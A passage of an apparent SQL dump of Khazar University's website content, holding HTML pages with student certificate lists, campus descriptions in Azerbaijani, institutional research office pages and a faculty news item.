colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>School of Humanities and Social Sciences</strong></td><td colspan=\"3\" width=\"116\">Psychology</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Qedemli İsmailova</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">N!</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Psychology&nbsp;</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Reyhane Seyidova</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">&nbsp;&nbsp;&nbsp;&nbsp; Psychology&nbsp;</td><td colspan=\"2\" width=\"104\">3</td><td colspan=\"2\" width=\"106\">Aytac Memmedzade</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">N!</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">International relations</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Fuad İbrahimov</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">International relations</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Asiman Mirzeliyev</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">International relations&nbsp;</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Kamran Mammadli</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">International relations</td><td colspan=\"2\" width=\"104\">3</td><td colspan=\"2\" width=\"106\">Jemile Aliyeva</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">International relations</td><td colspan=\"2\" width=\"104\">4</td><td colspan=\"2\" width=\"106\">Hüseyn Hüseynli</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Regional</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Nicat İsmail</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">N!</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Regional</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Sabrina Ramazanova</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Regional</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Aqshın Jabrayilov</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Regeonşunasliq</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Khadija İsmailova</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Regional</td><td colspan=\"2\" width=\"104\">3</td><td colspan=\"2\" width=\"106\">Sevinc Binnetova</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Translate</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Firuz Hümmetli</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Translate</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Hakim Memmedzade</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Translate</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Aydan Behbudzade</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Translate</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Cabbar Arif</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Translate</td><td colspan=\"2\" width=\"104\">3</td><td colspan=\"2\" width=\"106\">Seid Eliyev</td><td colspan=\"2\" width=\"103\">8</td><td width=\"103\">N!</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Politology</td><td colspan=\"2\" width=\"104\">General</td><td colspan=\"2\" width=\"106\">Vezdife Kerimzade</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">+</td></tr><tr><td width=\"106\"><strong>New</strong></td><td colspan=\"3\" width=\"116\">Politology</td><td colspan=\"2\" width=\"104\">1</td><td colspan=\"2\" width=\"106\">Kamran Mikayilov</td><td colspan=\"2\" width=\"103\">&nbsp;</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Politology</td><td colspan=\"2\" width=\"104\">2</td><td colspan=\"2\" width=\"106\">Murad Balaqadashov</td><td colspan=\"2\" width=\"103\">10</td><td width=\"103\">+</td></tr><tr><td width=\"106\">&nbsp;</td><td colspan=\"3\" width=\"116\">Politology</td><td colspan=\"2\" width=\"104\">3</td><td colspan=\"2\" width=\"106\">İlahe Memmedova</td><td colspan=\"2\" width=\"103\">9</td><td width=\"103\">N!</td></tr><tr><td colspan=\"2\" width=\"106\"><strong>New</strong></td><td width=\"106\">Philological&nbsp;</td><td colspan=\"2\" width=\"106\">General</td><td colspan=\"2\" width=\"106\">Durre Abbasova</td><td colspan=\"2\" width=\"106\">&nbsp;</td><td colspan=\"2\" width=\"106\">+</td></tr><tr><td colspan=\"2\" width=\"106\"><strong>New</strong></td><td width=\"106\">Philological&nbsp;</td><td colspan=\"2\" width=\"106\">1</td><td colspan=\"2\" width=\"106\">Ulfane Ebdulelizade</td><td colspan=\"2\" width=\"106\">&nbsp;</td><td colspan=\"2\" width=\"106\">+</td></tr><tr height=\"0\"><td width=\"106\">&nbsp;</td><td width=\"1\">&nbsp;</td><td width=\"106\">&nbsp;</td><td width=\"9\">&nbsp;</td><td width=\"98\">&nbsp;</td><td width=\"7\">&nbsp;</td><td width=\"99\">&nbsp;</td><td width=\"7\">&nbsp;</td><td width=\"100\">&nbsp;</td><td width=\"3\">&nbsp;</td><td width=\"103\">&nbsp;</td></tr></tbody></table>&nbsp;&nbsp;This students will get their certificate in May!<table cellspacing=\"0\" cellpadding=\"0\" width=\"640\"><tbody><tr><td width=\"276\">Electronica</td><td width=\"147\">1</td><td width=\"217\"><strong>Qurban Esgerov</strong></td></tr><tr><td width=\"276\">Finance&nbsp;</td><td width=\"147\">2</td><td width=\"217\"><strong>Zalxa Yusifli</strong></td></tr><tr><td width=\"276\">Chemistry and Biology Teacher&nbsp;</td><td width=\"147\">General</td><td width=\"217\">Metanet Hadjiyeva</td></tr><tr><td width=\"276\">Chemistry and Biology Teacher</td><td width=\"147\">3</td><td width=\"217\"><strong>Şebnem Eliyeva</strong></td></tr><tr><td width=\"276\">International relations</td><td width=\"147\">General</td><td width=\"217\"><strong>Orxan Hüseynov</strong><div><strong><br></strong></div></td></tr></tbody></table>  <br></h6><div><br></div>'),(1226,748,'az','Kampus','Kampus','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><span style=\"font-size:medium\">Universitetdə tədris, ümumi sahəsi&nbsp;</span><strong style=\"font-size:medium\">17.542 kv.m.</strong><span style=\"font-size:medium\">&nbsp;olan 5 tədris korpusunda aparılır.</span>  <br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div> <div style=\"font-family:\'times new roman\', times, serif\"><div style=\"background:undefined \"></div><div style=\"background:undefined \"><p style=\"background:undefined \"><strong><br><img src=\"http://www.khazar.org/files/image/X%C9%99z%C9%99r_Universiteti%2001.jpg\" style=\"width:150px;height:100px;margin:7px;float:right\"></strong></p><h3><span style=\"font-size:medium;color:#800000\">Neftçilər Kampusu - 1</span></h3><br><p style=\"font-size:medium\">Ünvan: Məhsəti küçəsi 11</p><span style=\"font-size:medium\">Burada nəşriyyat, mətbəə, surətçıxarma mərkəzi, elmi və tədris laboratoriyaları, akademik departmentlər, elmi institut və mərkəzlər fəaliyyət göstərir, elmi və ədəbi-publisistik jurnallar nəşr olunur. Zəngin universitet kitabxanasının bir hissəsi, müasir kompüter mərkəzləri, tibb mərkəzi, idman salonu tələbə və işçilərin xidmətindədir.</span>  <br><br><div style=\"background:undefined \"><br></div><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><h3><span style=\"color:#800000;font-size:medium\"><strong>Neftçilər Kampusu-2</strong></span></h3> <p style=\"font-size:medium;background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/X%C9%99z%C9%99r_Universiteti%2002.jpg\" style=\"width:150px;height:241px;margin:7px;float:right\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\">Ünvan: Məhsəti küçəsi 11</p>\r\n<p style=\"font-size:medium\">Tədris binası ən müasir kompüterlərlə təchiz edilmiş kompüter mərkəzləri, müasir yazı lövhələri, proyektorlarla, eləcə də video-nəzarət sistemi ilə təchiz edilmiş geniş və işıqlı auditoriyalar, binanın birinci mərtəbəsini əhatə edən müasir tələblərə cavab verən yeməkxana və binanın 5-ci və 6-cı mərtəbəsində yerləşən geniş, ən müasir dərsliklərlə zəngin kitabxanadan, eləcə də xüsusi dizayna malik konfrans salonundan ibarətdir.</p>  <br><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><h3><span style=\"font-size:small;color:#800000\"><strong style=\"font-size:medium\">Mərkəz Kampusu</strong></span></h3> <p style=\"background:undefined \"><strong><img src=\"http://www.khazar.org/files/image/X%C9%99z%C9%99r_Universitet%2003.jpg\" style=\"width:150px;height:100px;margin:7px;float:right\"></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"font-size:small\">Ünvan: Bəşir Səfəroğlu küçəsi 122</span></p><br>Bina 20-dən çox dərs otağından, konfrans mərkəzindən, yeməkxana, kitabxana və kompüter laboratoriyası, 280 nəfərlik gözəl teatr salonundan ibarətdir. Bu salon, universitədə təşkil olunan konfrans, yaradıcılıq gecələri, müxtəlif görüşlər və. s. tədbirlərinin keçirilməsində istifadə olunur.  <br><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><h3><strong><strong style=\"font-size:medium\">Binəqədi Kampusu</strong>  &nbsp;</strong>&nbsp;&nbsp;&nbsp;<img src=\"http://www.khazar.org/files/image/D%C3%BCnya_m%C9%99kt%C9%99bi_binas%C4%B1.jpg\" style=\"width:150px;height:111px;margin:7px;float:right\"></h3><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"font-size:small\">Ünvan: Bakı, Əcəmi Naxçıvani 9</span></p>\r\n<p>Burada Xəzər Universiteti nəzdində fəaliyyət göstərən «Dünya» məktəbi yerləşir, həmçinin Təhsil fakültəsinin bir sıra dərsləri də burada keçirilir. Müasir xüsusi dizaynla tikilmiş kampus təxminən 1 hektara yaxın sahəni əhatə edir. 3 tədris binası və ayrıca idman kompleksindən ibarət kampus tədris üçün lazım olan bütün əsas və köməkçi vəsitələrlə, o cümlədən kitabxana, laboratoriyalar, kompüter salonları, yeməkxana, qonaq evi və s. ilə təmin edilmişdir. Xəzər Universiteti Texnoparkı da burada yerləşir.</p>\r\n<p style=\"background:undefined \"><br></p><p style=\"background:undefined \"><br></p><h3><strong style=\"font-size:medium\"><strong>Xəzər Universiteti Psixoloji Məsləhət və Psixoterapiya Mərkəzi</strong>&nbsp;</strong></h3><div><strong><br></strong></div><div><strong><table width=\"660\" height=\"65\" style=\"font-size:medium\"><tbody><tr><td style=\"font-size:medium\">Ünvan: Həzi Aslanov küçəsi 31</td></tr><tr><td style=\"font-size:medium\">Burada universitetin adı çəkilən mərkəzi fəaliyyətdədir. Mərkəz elmi-tədqiqat və maarifçiliklə</td></tr><tr><td><span style=\"font-size:medium\">məşğul olmaqla yanaşı əhaliyə və təşkilatlara xidmət də göstərir</span>.</td></tr></tbody></table>  <span style=\"font-size:medium\"><br></span></strong></div></div></div><br></div>'),(686,478,'en','About Us','About Us','<div><div><p><strong>Goals</strong></p><ul><li>Create, analyze and interpret management information from survey data.</li><li>Collect data about the University’s performance.</li><li>Improve teaching and learning by assisting departments with program reviews and other assessment efforts.</li><li>provide the University administration with reliable and valid data, information, and analyses for the management, planning, and decision-making processes of the University.</li><li>develop and maintain University data files for historical, analytical, research, and projection activities and programs.</li><li>Coordinate the dissemination of institutional data</li></ul><p>&nbsp;</p><p><strong>Main research fields</strong><strong>&nbsp;</strong></p><p>•&nbsp;&nbsp;&nbsp; Academic Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp; Degree Programs</p><p>- &nbsp; &nbsp; Class</p><p>- &nbsp; &nbsp; &nbsp;Student Admission</p><p>- &nbsp; &nbsp; Faculty</p><p>&nbsp;</p><p>•&nbsp;&nbsp;&nbsp;&nbsp; Student Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Freshman Student Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sophomore Student Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Junior Student Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Senior Student Profile</p><p>&nbsp;</p><p>&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp; Graduation Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Undergraduate</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Graduate</p><p>&nbsp;</p><p>&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp; Assesment</p><p>&nbsp;</p><p>&nbsp;•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Employee Profile</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Academic</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Non-Academic</p><p>&nbsp;</p><p>•&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İnstitutional Data</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Library Holdings</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Technology İnformation</p><div><br></div></div></div>'),(687,479,'en','Activities','Activities','<p>Profiles for 2013-2014 academic year:</p><ol><li><a href=\"http://www.khazar.org/files/Schools_(General_%C4%B0nformation).pptx\">Schools</a></li><li><a href=\"http://www.khazar.org/files/Academic_Departments.pptx\">Academic Departments</a></li><li><a href=\"http://www.khazar.org/files/Student_Staff.pptx\">Student Staff</a></li><li><a href=\"http://www.khazar.org/files/Class_Size.pptx\">Class Size</a></li><li><a href=\"http://www.khazar.org/files/Number_of_Majors.pptx\">Number of Majors</a></li><li><a href=\"http://www.khazar.org/files/Alumni_(2013-2014).pptx\">Alumni (2013-2014 academic year)</a></li><li><a href=\"http://www.khazar.org/files/Alumni_(2010-2014).pptx\">Alumni (2010-2014 years)</a></li></ol><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Profiles for 2014-2015 academic year (Fall 2014):</p><ol><li><strong><a href=\"http://www.khazar.org/files/SCHOOLS.pptx\">SCHOOLS</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/ACADEMIC_DEPARTMENTS.pptx\">ACADEMIC DEPARTMENTS</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/STUDENT_STAFF.pptx\">STUDENT STAFF</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/NUMBER_OF_MAJORS%20(by%20years).pptx\">NUMBER OF MAJORS (by years)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/STUDENT_ADMISSION%20(by%20years).pptx\">STUDENT ADMISSION (by years)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/STUDENT_ADMISSION%20(by%20schools).pptx\">STUDENT ADMISSION (by schools)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/STUDENT_ADMISSION%20(by%20majors).pptx\">STUDENT ADMİSSİON (by majors)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/CLASS_SIZE.pptx\">CLASS SIZE</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/FOREIGN_STUDENTS_(admission-by-years).pptx\">FOREIGN&nbsp; STUDENTS&nbsp; (admission-by years)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/FORE%C4%B0GN_STUDENTS-(by_university).pptx\">FOREİGN STUDENTS&nbsp; (by university)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE%20(total).pptx\">EMPLOYEE (total)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE%20(academic).pptx\">EMPLOYEE (academic)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE%20(non-academic).pptx\">EMPLOYEE (non-academic)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/FINAL_ASSESSMENT_OF_STUDENTS.pptx\">FINAL ASSESSMENT OF STUDENTS</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/ALUMNI%20_8Fall_2014.pptx\">ALUMNİ (Fall 2014</a>)</strong></li></ol><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>Profiles for 2014-2015 academic year (Spring 2015)</p><p>&nbsp;</p><ol><li><a href=\"http://www.khazar.org/files/SCHJOOLS%201.pptx\"><strong>SCHOOLS</strong><strong>&nbsp;1</strong></a></li><li><strong><a href=\"http://www.khazar.org/files/SCHOOLS%202.pptx\">SCHOOLS 2</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/ACADEM%C4%B0C%20DEPARTMENTS.pptx\">ACADEMIC DEPARTMENTS</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/STUDENT%20STAFF.pptx\">STUDENT STAFF</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/CLASS%20S%C4%B0ZE.pptx\">CLASS SIZE</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE_total.pptx\">EMPLOYEE (total)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE_academic.pptx\">EMPLOYEE (academic)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/EMPLOYEE_non-academic.pptx\">EMPLOYEE (non-academic)</a></strong></li><li><strong><a href=\"http://www.khazar.org/files/Alumni(by%20schools)%20(Spring%202015).pptx\">ALUMNİ (Spring 2015)</a></strong></li><li><a href=\"http://www.khazar.org/files/ALUMNI%20(2014-2015%20academic%20years).pptx\"><strong>ALUMNİ (2014/2015 academic year)</strong></a></li><li><strong><a href=\"http://www.khazar.org/files/Final%20Assessment%20of%20Students-%20spring%202015.pptx\">FINAL ASSESSMENT OF STUDENTS</a></strong></li></ol>'),(688,480,'en','Staff','Staff','<div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Director – Rafig Ahmadov, Ph.D (<a href=\"http://www.khazar.org/files/pdf/Rafig%20Ahmadov.pdf\" style=\"outline:none;font-weight:bold;color:#0000ff\">CV</a>)</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:rahmadov@khazar.org\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"><strong>rahmadov@khazar.org</strong></a><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong></strong></p></div>'),(1137,480,'az','İşçi heyəti','İşçi heyəti','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Direktor – Rafiq Əhmədov, PhD (<a href=\"http://www.khazar.org/files/Rafig%20_Ahmadov.doc\"></a><a href=\"http://www.khazar.org/files/pdf/Rafig%20Ahmadov.pdf\">CV</a>  )</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"mailto:rahmadov@khazar.org\"><strong>rahmadov@khazar.org</strong></a></p>  <br></div>'),(689,481,'en','Contact','Contact','<div><div><p>Office of İnstitutional Research</p><p>Khazar University,</p><p>11 Mehseti str., Baku AZ10996, Azerbaijan</p><p>&nbsp;Tel: (994 12) 422 24 96; 421 79 16 ext. 250</p><p>&nbsp;Fax&nbsp; (994 12) 498-93-79</p><p>&nbsp;E-mail:&nbsp;<a href=\"mailto:rahmadov@khazar.org\"><strong>rahmadov@khazar.org</strong></a><strong>&nbsp;</strong></p><div><strong><br></strong></div></div></div>'),(690,482,'en','Useful Links','Useful Links','<p><a href=\"http://www.khazar.org/s48/About-Khazar/en\" target=\"_blank\">About Khazar</a></p><p><a href=\"http://www.khazar.org/s58/Academics/en\" target=\"_blank\">Academics</a></p><p><a href=\"http://www.khazar.org/s338/Administration/en\" target=\"_blank\">Administration</a></p><p><a href=\"http://www.khazar.org/s76/Offices-and-Services/en\" target=\"_blank\">Offices and Services</a></p>'),(691,483,'en','People','People','<br><p><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\" target=\"_blank\"><img src=\"/files/quality_center/Picture_LS.jpg\" style=\"border:0px #0000ee;width:150px;height:208px;margin:1px 7px 7px;float:left\"><strong>Lyudmila Sotova</strong></a><a href=\"http://www.khazar.org/files/CV_Lyudmila_Sotova.docx\"></a></p><p>Director</p><p><a href=\"http://mailto:lsotova@khazar.org\">lsotova[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><a href=\"http://www.khazar.org/files/quality_center/CV-Europass-20171102-Farman-EN.pdf\" target=\"_blank\"><img src=\"/files/quality_center/GetPersonaPhoto.jpg\" style=\"border:0px #0000ee;width:150px;height:205px;margin:1px 7px 7px;float:left\"><strong>Jamila Farman</strong></a></p><p>Assistent</p><p><a href=\"http://mailto:jfarman@khazar.org\">jfarman[at]khazar.org</a></p>'),(2104,1293,'en','Khazar Associate Professor’s Articles in Turkish Encyclopedia','A number of articles of Dr. Zivar Huseynli, Associate Professor of Khazar University’s Department of Department of Languages and Civilizations, were printed in a Turkish encyclopedia...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">A number of articles of Dr. Zivar Huseynli,\r\nAssociate Professor of Khazar University’s Department of Department of\r\nLanguages and Civilizations, were printed in a Turkish encyclopedia. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The two-volume Ahilik encyclopedia was\r\npublished in 2016 by the press arm of the Ministry of Industry and Trade of the\r\nRepublic of Turkey. The encyclopedia contains 17 entries by Z.Huseynli.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Huseynli researched and wrote encyclopedia\r\nentries about “futuvvetnama” and “risala” in Persian, which are literary writings\r\nin prose or poetry about Ahilik (a social organization of artists in medieval\r\nAzerbaijan, Anatolia and Iran) or related artists. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The list of her articles appearing in the\r\nencyclopedia (in Turkish) is as follows: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Goşiriye”. C.1. s.227-228.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Tuhfetü`l-İhvan fi Hasais-i Fityan”. C.1. s.331.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Fütüvvetiye”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Fütüvvetname-i Riyaz Muhammed”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “ Fütüvvetname-i Ahengeran”. C.1. s.430.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Çitsazan”. C.1. s.431-</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i der Beyan-Esnaf”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Diger der Bare-i Esnaf”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Dellakan”. C.1. s.432.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Emirelmüminin Hz. Ali”. C.1. s.432.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Haccaman”. C.1. s.432.</p>\r\n<p style=\"\" 